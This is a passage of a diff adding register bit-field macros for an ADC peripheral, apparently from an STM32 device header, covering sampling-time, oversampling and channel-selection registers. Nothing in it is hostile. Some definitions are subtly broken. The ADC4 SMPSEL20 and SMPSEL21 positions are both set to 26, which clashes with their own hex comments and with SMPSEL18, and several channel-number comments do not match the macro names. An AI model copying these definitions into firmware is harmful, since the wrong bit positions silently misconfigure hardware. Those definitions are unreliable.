ADC_CFGR2_OVSS_0 (0x1UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000020 */ +#define ADC_CFGR2_OVSS_1 (0x2UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000040 */ +#define ADC_CFGR2_OVSS_2 (0x4UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000080 */ +#define ADC_CFGR2_OVSS_3 (0x8UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000100 */ + +#define ADC_CFGR2_TROVS_Pos (9UL) +#define ADC_CFGR2_TROVS_Msk (0x1UL << ADC_CFGR2_TROVS_Pos) /*!< 0x00000200 */ +#define ADC_CFGR2_TROVS ADC_CFGR2_TROVS_Msk /*!< ADC Triggered regular Oversampling */ +#define ADC_CFGR2_ROVSM_Pos (10UL) +#define ADC_CFGR2_ROVSM_Msk (0x1UL << ADC_CFGR2_ROVSM_Pos) /*!< 0x00000400 */ +#define ADC_CFGR2_ROVSM ADC_CFGR2_ROVSM_Msk /*!< ADC Regular oversampling mode */ + +#define ADC_CFGR2_OVSR_Pos (16UL) +#define ADC_CFGR2_OVSR_Msk (0x3FFUL << ADC_CFGR2_OVSR_Pos) /*!< 0x03FF0000 */ +#define ADC_CFGR2_OVSR ADC_CFGR2_OVSR_Msk /*!< ADC oversampling Ratio */ +#define ADC_CFGR2_OVSR_0 (0x001UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00010000 */ +#define ADC_CFGR2_OVSR_1 (0x002UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00020000 */ +#define ADC_CFGR2_OVSR_2 (0x004UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00040000 */ +#define ADC_CFGR2_OVSR_3 (0x008UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00080000 */ +#define ADC_CFGR2_OVSR_4 (0x010UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00100000 */ +#define ADC_CFGR2_OVSR_5 (0x020UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00200000 */ +#define ADC_CFGR2_OVSR_6 (0x040UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00400000 */ +#define ADC_CFGR2_OVSR_7 (0x080UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00800000 */ +#define ADC_CFGR2_OVSR_8 (0x100UL << ADC_CFGR2_OVSR_Pos) /*!< 0x01000000 */ +#define ADC_CFGR2_OVSR_9 (0x200UL << ADC_CFGR2_OVSR_Pos) /*!< 0x02000000 */ + +#define ADC_CFGR2_BULB_Pos (13UL) +#define ADC_CFGR2_BULB_Msk (0x1UL << ADC_CFGR2_BULB_Pos) /*!< 0x00002000 */ +#define ADC_CFGR2_BULB ADC_CFGR2_BULB_Msk /*!< ADC Bulb sampling mode */ + +#define ADC_CFGR2_SWTRIG_Pos (14UL) +#define ADC_CFGR2_SWTRIG_Msk (0x1UL << ADC_CFGR2_SWTRIG_Pos) /*!< 0x00004000 */ +#define ADC_CFGR2_SWTRIG ADC_CFGR2_SWTRIG_Msk /*!< ADC Software trigger bit for sampling time control trigger mode */ + +#define ADC_CFGR2_SMPTRIG_Pos (15UL) +#define ADC_CFGR2_SMPTRIG_Msk (0x1UL << ADC_CFGR2_SMPTRIG_Pos) /*!< 0x00008000 */ +#define ADC_CFGR2_SMPTRIG ADC_CFGR2_SMPTRIG_Msk /*!< ADC Sampling time control trigger mode */ + +#define ADC_CFGR2_LFTRIG_Pos (27UL) +#define ADC_CFGR2_LFTRIG_Msk (0x1UL << ADC_CFGR2_LFTRIG_Pos) /*!< 0x08000000 */ +#define ADC_CFGR2_LFTRIG ADC_CFGR2_LFTRIG_Msk /*!< ADC low frequency trigger mode */ + +#define ADC_CFGR2_LSHIFT_Pos (28UL) +#define ADC_CFGR2_LSHIFT_Msk (0xFUL << ADC_CFGR2_LSHIFT_Pos) /*!< 0xF0000000 */ +#define ADC_CFGR2_LSHIFT ADC_CFGR2_LSHIFT_Msk /*!< ADC Left shift factor */ +#define ADC_CFGR2_LSHIFT_0 (0x1UL << ADC_CFGR2_LSHIFT_Pos) /*!< 0x10000000 */ +#define ADC_CFGR2_LSHIFT_1 (0x2UL << ADC_CFGR2_LSHIFT_Pos) /*!< 0x20000000 */ +#define ADC_CFGR2_LSHIFT_2 (0x4UL << ADC_CFGR2_LSHIFT_Pos) /*!< 0x40000000 */ +#define ADC_CFGR2_LSHIFT_3 (0x8UL << ADC_CFGR2_LSHIFT_Pos) /*!< 0x80000000 */ + +/* Specific ADC4 */ +#define ADC4_CFGR2_OVSR_Pos (2UL) +#define ADC4_CFGR2_OVSR_Msk (0x7UL << ADC4_CFGR2_OVSR_Pos) /*!< 0x0000001C */ +#define ADC4_CFGR2_OVSR ADC4_CFGR2_OVSR_Msk /*!< ADC oversampling ratio */ +#define ADC4_CFGR2_OVSR_0 (0x1UL << ADC4_CFGR2_OVSR_Pos) /*!< 0x00000004 */ +#define ADC4_CFGR2_OVSR_1 (0x2UL << ADC4_CFGR2_OVSR_Pos) /*!< 0x00000008 */ +#define ADC4_CFGR2_OVSR_2 (0x4UL << ADC4_CFGR2_OVSR_Pos) /*!< 0x00000010 */ + +#define ADC4_CFGR2_LFTRIG_Pos (29UL) +#define ADC4_CFGR2_LFTRIG_Msk (0x1UL << ADC4_CFGR2_LFTRIG_Pos) /*!< 0x20000000 */ +#define ADC4_CFGR2_LFTRIG ADC4_CFGR2_LFTRIG_Msk /*!< ADC4 low frequency trigger mode */ + +/******************** Bit definition for ADC_SMPR1 register ********************/ +#define ADC_SMPR1_SMP0_Pos (0UL) +#define ADC_SMPR1_SMP0_Msk (0x7UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000007 */ +#define ADC_SMPR1_SMP0 ADC_SMPR1_SMP0_Msk /*!< ADC Channel 0 Sampling time selection */ +#define ADC_SMPR1_SMP0_0 (0x1UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000001 */ +#define ADC_SMPR1_SMP0_1 (0x2UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000002 */ +#define ADC_SMPR1_SMP0_2 (0x4UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000004 */ + +#define ADC_SMPR1_SMP1_Pos (3UL) +#define ADC_SMPR1_SMP1_Msk (0x7UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000038 */ +#define ADC_SMPR1_SMP1 ADC_SMPR1_SMP1_Msk /*!< ADC Channel 1 Sampling time selection */ +#define ADC_SMPR1_SMP1_0 (0x1UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000008 */ +#define ADC_SMPR1_SMP1_1 (0x2UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000010 */ +#define ADC_SMPR1_SMP1_2 (0x4UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000020 */ + +#define ADC_SMPR1_SMP2_Pos (6UL) +#define ADC_SMPR1_SMP2_Msk (0x7UL << ADC_SMPR1_SMP2_Pos) /*!< 0x000001C0 */ +#define ADC_SMPR1_SMP2 ADC_SMPR1_SMP2_Msk /*!< ADC Channel 2 Sampling time selection */ +#define ADC_SMPR1_SMP2_0 (0x1UL << ADC_SMPR1_SMP2_Pos) /*!< 0x00000040 */ +#define ADC_SMPR1_SMP2_1 (0x2UL << ADC_SMPR1_SMP2_Pos) /*!< 0x00000080 */ +#define ADC_SMPR1_SMP2_2 (0x4UL << ADC_SMPR1_SMP2_Pos) /*!< 0x00000100 */ + +#define ADC_SMPR1_SMP3_Pos (9UL) +#define ADC_SMPR1_SMP3_Msk (0x7UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000E00 */ +#define ADC_SMPR1_SMP3 ADC_SMPR1_SMP3_Msk /*!< ADC Channel 3 Sampling time selection */ +#define ADC_SMPR1_SMP3_0 (0x1UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000200 */ +#define ADC_SMPR1_SMP3_1 (0x2UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000400 */ +#define ADC_SMPR1_SMP3_2 (0x4UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000800 */ + +#define ADC_SMPR1_SMP4_Pos (12UL) +#define ADC_SMPR1_SMP4_Msk (0x7UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00007000 */ +#define ADC_SMPR1_SMP4 ADC_SMPR1_SMP4_Msk /*!< ADC Channel 4 Sampling time selection */ +#define ADC_SMPR1_SMP4_0 (0x1UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00001000 */ +#define ADC_SMPR1_SMP4_1 (0x2UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00002000 */ +#define ADC_SMPR1_SMP4_2 (0x4UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00004000 */ + +#define ADC_SMPR1_SMP5_Pos (15UL) +#define ADC_SMPR1_SMP5_Msk (0x7UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00038000 */ +#define ADC_SMPR1_SMP5 ADC_SMPR1_SMP5_Msk /*!< ADC Channel 5 Sampling time selection */ +#define ADC_SMPR1_SMP5_0 (0x1UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00008000 */ +#define ADC_SMPR1_SMP5_1 (0x2UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00010000 */ +#define ADC_SMPR1_SMP5_2 (0x4UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00020000 */ + +#define ADC_SMPR1_SMP6_Pos (18UL) +#define ADC_SMPR1_SMP6_Msk (0x7UL << ADC_SMPR1_SMP6_Pos) /*!< 0x001C0000 */ +#define ADC_SMPR1_SMP6 ADC_SMPR1_SMP6_Msk /*!< ADC Channel 6 Sampling time selection */ +#define ADC_SMPR1_SMP6_0 (0x1UL << ADC_SMPR1_SMP6_Pos) /*!< 0x00040000 */ +#define ADC_SMPR1_SMP6_1 (0x2UL << ADC_SMPR1_SMP6_Pos) /*!< 0x00080000 */ +#define ADC_SMPR1_SMP6_2 (0x4UL << ADC_SMPR1_SMP6_Pos) /*!< 0x00100000 */ + +#define ADC_SMPR1_SMP7_Pos (21UL) +#define ADC_SMPR1_SMP7_Msk (0x7UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00E00000 */ +#define ADC_SMPR1_SMP7 ADC_SMPR1_SMP7_Msk /*!< ADC Channel 7 Sampling time selection */ +#define ADC_SMPR1_SMP7_0 (0x1UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00200000 */ +#define ADC_SMPR1_SMP7_1 (0x2UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00400000 */ +#define ADC_SMPR1_SMP7_2 (0x4UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00800000 */ + +#define ADC_SMPR1_SMP8_Pos (24UL) +#define ADC_SMPR1_SMP8_Msk (0x7UL << ADC_SMPR1_SMP8_Pos) /*!< 0x07000000 */ +#define ADC_SMPR1_SMP8 ADC_SMPR1_SMP8_Msk /*!< ADC Channel 8 Sampling time selection */ +#define ADC_SMPR1_SMP8_0 (0x1UL << ADC_SMPR1_SMP8_Pos) /*!< 0x01000000 */ +#define ADC_SMPR1_SMP8_1 (0x2UL << ADC_SMPR1_SMP8_Pos) /*!< 0x02000000 */ +#define ADC_SMPR1_SMP8_2 (0x4UL << ADC_SMPR1_SMP8_Pos) /*!< 0x04000000 */ + +#define ADC_SMPR1_SMP9_Pos (27UL) +#define ADC_SMPR1_SMP9_Msk (0x7UL << ADC_SMPR1_SMP9_Pos) /*!< 0x38000000 */ +#define ADC_SMPR1_SMP9 ADC_SMPR1_SMP9_Msk /*!< ADC Channel 9 Sampling time selection */ +#define ADC_SMPR1_SMP9_0 (0x1UL << ADC_SMPR1_SMP9_Pos) /*!< 0x08000000 */ +#define ADC_SMPR1_SMP9_1 (0x2UL << ADC_SMPR1_SMP9_Pos) /*!< 0x10000000 */ +#define ADC_SMPR1_SMP9_2 (0x4UL << ADC_SMPR1_SMP9_Pos) /*!< 0x20000000 */ + +#define ADC4_SMPR_SMP1_Pos (0UL) +#define ADC4_SMPR_SMP1_Msk (0x7UL << ADC4_SMPR_SMP1_Pos) /*!< 0x00000007 */ +#define ADC4_SMPR_SMP1 ADC4_SMPR_SMP1_Msk /*!< ADC Channel 0 Sampling time selection */ +#define ADC4_SMPR_SMP1_0 (0x1UL << ADC4_SMPR_SMP1_Pos) /*!< 0x00000001 */ +#define ADC4_SMPR_SMP1_1 (0x2UL << ADC4_SMPR_SMP1_Pos) /*!< 0x00000002 */ +#define ADC4_SMPR_SMP1_2 (0x4UL << ADC4_SMPR_SMP1_Pos) /*!< 0x00000004 */ + +#define ADC4_SMPR_SMP2_Pos (4UL) +#define ADC4_SMPR_SMP2_Msk (0x7UL << ADC4_SMPR_SMP2_Pos) /*!< 0x00000070 */ +#define ADC4_SMPR_SMP2 ADC4_SMPR_SMP2_Msk /*!< ADC group of channels sampling time 2 */ +#define ADC4_SMPR_SMP2_0 (0x1UL << ADC4_SMPR_SMP2_Pos) /*!< 0x00000010 */ +#define ADC4_SMPR_SMP2_1 (0x2UL << ADC4_SMPR_SMP2_Pos) /*!< 0x00000020 */ +#define ADC4_SMPR_SMP2_2 (0x4UL << ADC4_SMPR_SMP2_Pos) /*!< 0x00000040 */ + +#define ADC4_SMPR_SMPSEL_Pos (8UL) +#define ADC4_SMPR_SMPSEL_Msk (0xFFFFFFUL << ADC4_SMPR_SMPSEL_Pos) /*!< 0xFFFFFF00 */ +#define ADC4_SMPR_SMPSEL ADC4_SMPR_SMPSEL_Msk /*!< ADC4 all channels sampling time selection */ +#define ADC4_SMPR_SMPSEL0_Pos (8UL) +#define ADC4_SMPR_SMPSEL0_Msk (0x1UL << ADC4_SMPR_SMPSEL0_Pos) /*!< 0x00000100 */ +#define ADC4_SMPR_SMPSEL0 ADC4_SMPR_SMPSEL0_Msk /*!< ADC4 channel 0 sampling time selection */ +#define ADC4_SMPR_SMPSEL1_Pos (9UL) +#define ADC4_SMPR_SMPSEL1_Msk (0x1UL << ADC4_SMPR_SMPSEL1_Pos) /*!< 0x00000200 */ +#define ADC4_SMPR_SMPSEL1 ADC4_SMPR_SMPSEL1_Msk /*!< ADC4 channel 1 sampling time selection */ +#define ADC4_SMPR_SMPSEL2_Pos (10UL) +#define ADC4_SMPR_SMPSEL2_Msk (0x1UL << ADC4_SMPR_SMPSEL2_Pos) /*!< 0x00000400 */ +#define ADC4_SMPR_SMPSEL2 ADC4_SMPR_SMPSEL2_Msk /*!< ADC4 channel 2 sampling time selection */ +#define ADC4_SMPR_SMPSEL3_Pos (11UL) +#define ADC4_SMPR_SMPSEL3_Msk (0x1UL << ADC4_SMPR_SMPSEL3_Pos) /*!< 0x00000800 */ +#define ADC4_SMPR_SMPSEL3 ADC4_SMPR_SMPSEL3_Msk /*!< ADC4 channel 3 sampling time selection */ +#define ADC4_SMPR_SMPSEL4_Pos (12UL) +#define ADC4_SMPR_SMPSEL4_Msk (0x1UL << ADC4_SMPR_SMPSEL4_Pos) /*!< 0x00001000 */ +#define ADC4_SMPR_SMPSEL4 ADC4_SMPR_SMPSEL4_Msk /*!< ADC4 channel 4 sampling time selection */ +#define ADC4_SMPR_SMPSEL5_Pos (13UL) +#define ADC4_SMPR_SMPSEL5_Msk (0x1UL << ADC4_SMPR_SMPSEL5_Pos) /*!< 0x00002000 */ +#define ADC4_SMPR_SMPSEL5 ADC4_SMPR_SMPSEL5_Msk /*!< ADC4 channel 5 sampling time selection */ +#define ADC4_SMPR_SMPSEL6_Pos (14UL) +#define ADC4_SMPR_SMPSEL6_Msk (0x1UL << ADC4_SMPR_SMPSEL6_Pos) /*!< 0x00004000 */ +#define ADC4_SMPR_SMPSEL6 ADC4_SMPR_SMPSEL6_Msk /*!< ADC4 channel 6 sampling time selection */ +#define ADC4_SMPR_SMPSEL7_Pos (15UL) +#define ADC4_SMPR_SMPSEL7_Msk (0x1UL << ADC4_SMPR_SMPSEL7_Pos) /*!< 0x00008000 */ +#define ADC4_SMPR_SMPSEL7 ADC4_SMPR_SMPSEL7_Msk /*!< ADC4 channel 7 sampling time selection */ +#define ADC4_SMPR_SMPSEL8_Pos (16UL) +#define ADC4_SMPR_SMPSEL8_Msk (0x1UL << ADC4_SMPR_SMPSEL8_Pos) /*!< 0x00010000 */ +#define ADC4_SMPR_SMPSEL8 ADC4_SMPR_SMPSEL8_Msk /*!< ADC4 channel 8 sampling time selection */ +#define ADC4_SMPR_SMPSEL9_Pos (17UL) +#define ADC4_SMPR_SMPSEL9_Msk (0x1UL << ADC4_SMPR_SMPSEL9_Pos) /*!< 0x00020000 */ +#define ADC4_SMPR_SMPSEL9 ADC4_SMPR_SMPSEL9_Msk /*!< ADC4 channel 9 sampling time selection */ +#define ADC4_SMPR_SMPSEL10_Pos (18UL) +#define ADC4_SMPR_SMPSEL10_Msk (0x1UL << ADC4_SMPR_SMPSEL10_Pos) /*!< 0x00040000 */ +#define ADC4_SMPR_SMPSEL10 ADC4_SMPR_SMPSEL10_Msk /*!< ADC4 channel 10 sampling time selection */ +#define ADC4_SMPR_SMPSEL11_Pos (19UL) +#define ADC4_SMPR_SMPSEL11_Msk (0x1UL << ADC4_SMPR_SMPSEL11_Pos) /*!< 0x00080000 */ +#define ADC4_SMPR_SMPSEL11 ADC4_SMPR_SMPSEL11_Msk /*!< ADC4 channel 11 sampling time selection */ +#define ADC4_SMPR_SMPSEL12_Pos (20UL) +#define ADC4_SMPR_SMPSEL12_Msk (0x1UL << ADC4_SMPR_SMPSEL12_Pos) /*!< 0x00100000 */ +#define ADC4_SMPR_SMPSEL12 ADC4_SMPR_SMPSEL12_Msk /*!< ADC4 channel 12 sampling time selection */ +#define ADC4_SMPR_SMPSEL13_Pos (21UL) +#define ADC4_SMPR_SMPSEL13_Msk (0x1UL << ADC4_SMPR_SMPSEL13_Pos) /*!< 0x00200000 */ +#define ADC4_SMPR_SMPSEL13 ADC4_SMPR_SMPSEL13_Msk /*!< ADC4 channel 13 sampling time selection */ +#define ADC4_SMPR_SMPSEL14_Pos (22UL) +#define ADC4_SMPR_SMPSEL14_Msk (0x1UL << ADC4_SMPR_SMPSEL14_Pos) /*!< 0x00400000 */ +#define ADC4_SMPR_SMPSEL14 ADC4_SMPR_SMPSEL14_Msk /*!< ADC4 channel 14 sampling time selection */ +#define ADC4_SMPR_SMPSEL15_Pos (23UL) +#define ADC4_SMPR_SMPSEL15_Msk (0x1UL << ADC4_SMPR_SMPSEL15_Pos) /*!< 0x00800000 */ +#define ADC4_SMPR_SMPSEL15 ADC4_SMPR_SMPSEL15_Msk /*!< ADC4 channel 15 sampling time selection */ +#define ADC4_SMPR_SMPSEL16_Pos (24UL) +#define ADC4_SMPR_SMPSEL16_Msk (0x1UL << ADC4_SMPR_SMPSEL16_Pos) /*!< 0x01000000 */ +#define ADC4_SMPR_SMPSEL16 ADC4_SMPR_SMPSEL16_Msk /*!< ADC4 channel 16 sampling time selection */ +#define ADC4_SMPR_SMPSEL17_Pos (25UL) +#define ADC4_SMPR_SMPSEL17_Msk (0x1UL << ADC4_SMPR_SMPSEL17_Pos) /*!< 0x02000000 */ +#define ADC4_SMPR_SMPSEL17 ADC4_SMPR_SMPSEL17_Msk /*!< ADC4 channel 17 sampling time selection */ +#define ADC4_SMPR_SMPSEL18_Pos (26UL) +#define ADC4_SMPR_SMPSEL18_Msk (0x1UL << ADC4_SMPR_SMPSEL18_Pos) /*!< 0x04000000 */ +#define ADC4_SMPR_SMPSEL18 ADC4_SMPR_SMPSEL18_Msk /*!< ADC4 channel 18 sampling time selection */ +#define ADC4_SMPR_SMPSEL19_Pos (27UL) +#define ADC4_SMPR_SMPSEL19_Msk (0x1UL << ADC4_SMPR_SMPSEL19_Pos) /*!< 0x08000000 */ +#define ADC4_SMPR_SMPSEL19 ADC4_SMPR_SMPSEL19_Msk /*!< ADC4 channel 19 sampling time selection */ +#define ADC4_SMPR_SMPSEL20_Pos (26UL) +#define ADC4_SMPR_SMPSEL20_Msk (0x1UL << ADC4_SMPR_SMPSEL20_Pos) /*!< 0x10000000 */ +#define ADC4_SMPR_SMPSEL20 ADC4_SMPR_SMPSEL20_Msk /*!< ADC4 channel 20 sampling time selection */ +#define ADC4_SMPR_SMPSEL21_Pos (26UL) +#define ADC4_SMPR_SMPSEL21_Msk (0x1UL << ADC4_SMPR_SMPSEL21_Pos) /*!< 0x20000000 */ +#define ADC4_SMPR_SMPSEL21 ADC4_SMPR_SMPSEL21_Msk /*!< ADC4 channel 20 sampling time selection */ +#define ADC4_SMPR_SMPSEL22_Pos (30UL) +#define ADC4_SMPR_SMPSEL22_Msk (0x1UL << ADC4_SMPR_SMPSEL22_Pos) /*!< 0x40000000 */ +#define ADC4_SMPR_SMPSEL22 ADC4_SMPR_SMPSEL22_Msk /*!< ADC4 channel 21 sampling time selection */ +#define ADC4_SMPR_SMPSEL23_Pos (31UL) +#define ADC4_SMPR_SMPSEL23_Msk (0x1UL << ADC4_SMPR_SMPSEL23_Pos) /*!< 0x80000000 */ +#define ADC4_SMPR_SMPSEL23 ADC4_SMPR_SMPSEL23_Msk /*!< ADC4 channel 23 sampling time selection */ + +/******************** Bit definition for ADC_SMPR2 register ********************/ +#define ADC_SMPR2_SMP10_Pos (0UL) +#define ADC_SMPR2_SMP10_Msk (0x7UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000007 */ +#define ADC_SMPR2_SMP10 ADC_SMPR2_SMP10_Msk /*!< ADC Channel 10 Sampling time selection */ +#define ADC_SMPR2_SMP10_0 (0x1UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000001 */ +#define ADC_SMPR2_SMP10_1 (0x2UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000002 */ +#define ADC_SMPR2_SMP10_2 (0x4UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000004 */ + +#define ADC_SMPR2_SMP11_Pos (3UL) +#define ADC_SMPR2_SMP11_Msk (0x7UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000038 */ +#define ADC_SMPR2_SMP11 ADC_SMPR2_SMP11_Msk /*!< ADC Channel 11 Sampling time selection */ +#define ADC_SMPR2_SMP11_0 (0x1UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000008 */ +#define ADC_SMPR2_SMP11_1 (0x2UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000010 */ +#define ADC_SMPR2_SMP11_2 (0x4UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000020 */ + +#define ADC_SMPR2_SMP12_Pos (6UL) +#define ADC_SMPR2_SMP12_Msk (0x7UL << ADC_SMPR2_SMP12_Pos) /*!< 0x000001C0 */ +#define ADC_SMPR2_SMP12 ADC_SMPR2_SMP12_Msk /*!< ADC Channel 12 Sampling time selection */ +#define ADC_SMPR2_SMP12_0 (0x1UL << ADC_SMPR2_SMP12_Pos) /*!< 0x00000040 */ +#define ADC_SMPR2_SMP12_1 (0x2UL << ADC_SMPR2_SMP12_Pos) /*!< 0x00000080 */ +#define ADC_SMPR2_SMP12_2 (0x4UL << ADC_SMPR2_SMP12_Pos) /*!< 0x00000100 */ + +#define ADC_SMPR2_SMP13_Pos (9UL) +#define ADC_SMPR2_SMP13_Msk (0x7UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000E00 */ +#define ADC_SMPR2_SMP13 ADC_SMPR2_SMP13_Msk /*!< ADC Channel 13 Sampling time selection */ +#define ADC_SMPR2_SMP13_0 (0x1UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000200 */ +#define ADC_SMPR2_SMP13_1 (0x2UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000400 */ +#define ADC_SMPR2_SMP13_2 (0x4UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000800 */ + +#define ADC_SMPR2_SMP14_Pos (12UL) +#define ADC_SMPR2_SMP14_Msk (0x7UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00007000 */ +#define ADC_SMPR2_SMP14 ADC_SMPR2_SMP14_Msk /*!< ADC Channel 14 Sampling time selection */ +#define ADC_SMPR2_SMP14_0 (0x1UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00001000 */ +#define ADC_SMPR2_SMP14_1 (0x2UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00002000 */ +#define ADC_SMPR2_SMP14_2 (0x4UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00004000 */ + +#define ADC_SMPR2_SMP15_Pos (15UL) +#define ADC_SMPR2_SMP15_Msk (0x7UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00038000 */ +#define ADC_SMPR2_SMP15 ADC_SMPR2_SMP15_Msk /*!< ADC Channel 15 Sampling time selection */ +#define ADC_SMPR2_SMP15_0 (0x1UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00008000 */ +#define ADC_SMPR2_SMP15_1 (0x2UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00010000 */ +#define ADC_SMPR2_SMP15_2 (0x4UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00020000 */ + +#define ADC_SMPR2_SMP16_Pos (18UL) +#define ADC_SMPR2_SMP16_Msk (0x7UL << ADC_SMPR2_SMP16_Pos) /*!< 0x001C0000 */ +#define ADC_SMPR2_SMP16 ADC_SMPR2_SMP16_Msk /*!< ADC Channel 16 Sampling time selection */ +#define ADC_SMPR2_SMP16_0 (0x1UL << ADC_SMPR2_SMP16_Pos) /*!< 0x00040000 */ +#define ADC_SMPR2_SMP16_1 (0x2UL << ADC_SMPR2_SMP16_Pos) /*!< 0x00080000 */ +#define ADC_SMPR2_SMP16_2 (0x4UL << ADC_SMPR2_SMP16_Pos) /*!< 0x00100000 */ + +#define ADC_SMPR2_SMP17_Pos (21UL) +#define ADC_SMPR2_SMP17_Msk (0x7UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00E00000 */ +#define ADC_SMPR2_SMP17 ADC_SMPR2_SMP17_Msk /*!< ADC Channel 17 Sampling time selection */ +#define ADC_SMPR2_SMP17_0 (0x1UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00200000 */ +#define ADC_SMPR2_SMP17_1 (0x2UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00400000 */ +#define ADC_SMPR2_SMP17_2 (0x4UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00800000 */ + +#define ADC_SMPR2_SMP18_Pos (24UL) +#define ADC_SMPR2_SMP18_Msk (0x7UL << ADC_SMPR2_SMP18_Pos) /*!< 0x07000000 */ +#define ADC_SMPR2_SMP18 ADC_SMPR2_SMP18_Msk /*!< ADC Channel 18 Sampling time selection */ +#define ADC_SMPR2_SMP18_0 (0x1UL << ADC_SMPR2_SMP18_Pos) /*!< 0x01000000 */ +#define ADC_SMPR2_SMP18_1 (0x2UL << ADC_SMPR2_SMP18_Pos) /*!< 0x02000000 */ +#define ADC_SMPR2_SMP18_2 (0x4UL << ADC_SMPR2_SMP18_Pos) /*!< 0x04000000 */ + +#define ADC_SMPR2_SMP19_Pos (27UL) +#define ADC_SMPR2_SMP19_Msk (0x7UL << ADC_SMPR2_SMP19_Pos) /*!< 0x38000000 */ +#define ADC_SMPR2_SMP19 ADC_SMPR2_SMP19_Msk /*!< ADC Channel 19 Sampling time selection */ +#define ADC_SMPR2_SMP19_0 (0x1UL << ADC_SMPR2_SMP19_Pos) /*!< 0x08000000 */ +#define ADC_SMPR2_SMP19_1 (0x2UL << ADC_SMPR2_SMP19_Pos) /*!< 0x10000000 */ +#define ADC_SMPR2_SMP19_2 (0x4UL << ADC_SMPR2_SMP19_Pos) /*!< 0x20000000 */ + +/******************** Bit definition for ADC_PCSEL register ********************/ +#define ADC_PCSEL_PCSEL_Pos (0UL) +#define ADC_PCSEL_PCSEL_Msk (0xFFFFFUL << ADC_PCSEL_PCSEL_Pos) /*!< 0x000FFFFF */ +#define ADC_PCSEL_PCSEL ADC_PCSEL_PCSEL_Msk /*!< ADC pre channel selection */ +#define ADC_PCSEL_PCSEL_0 (0x00001UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000001 */ +#define ADC_PCSEL_PCSEL_1 (0x00002UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000002 */ +#define ADC_PCSEL_PCSEL_2 (0x00004UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000004 */ +#define ADC_PCSEL_PCSEL_3 (0x00008UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000008 */ +#define ADC_PCSEL_PCSEL_4 (0x00010UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000010 */ +#define ADC_PCSEL_PCSEL_5 (0x00020UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000020 */ +#define ADC_PCSEL_PCSEL_6 (0x00040UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000040 */ +#define ADC_PCSEL_PCSEL_7 (0x00080UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000080 */ +#define ADC_PCSEL_PCSEL_8 (0x00100UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000100 */ +#define ADC_PCSEL_PCSEL_9 (0x00200UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000200 */ +#define ADC_PCSEL_PCSEL_10 (0x00400UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000400 */ +#define ADC_PCSEL_PCSEL_11 (0x00800UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000800 */ +#define ADC_PCSEL_PCSEL_12 (0x01000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00001000 */ +#define ADC_PCSEL_PCSEL_13 (0x02000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00002000 */ +#define ADC_PCSEL_PCSEL_14 (0x04000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00004000 */ +#define ADC_PCSEL_PCSEL_15 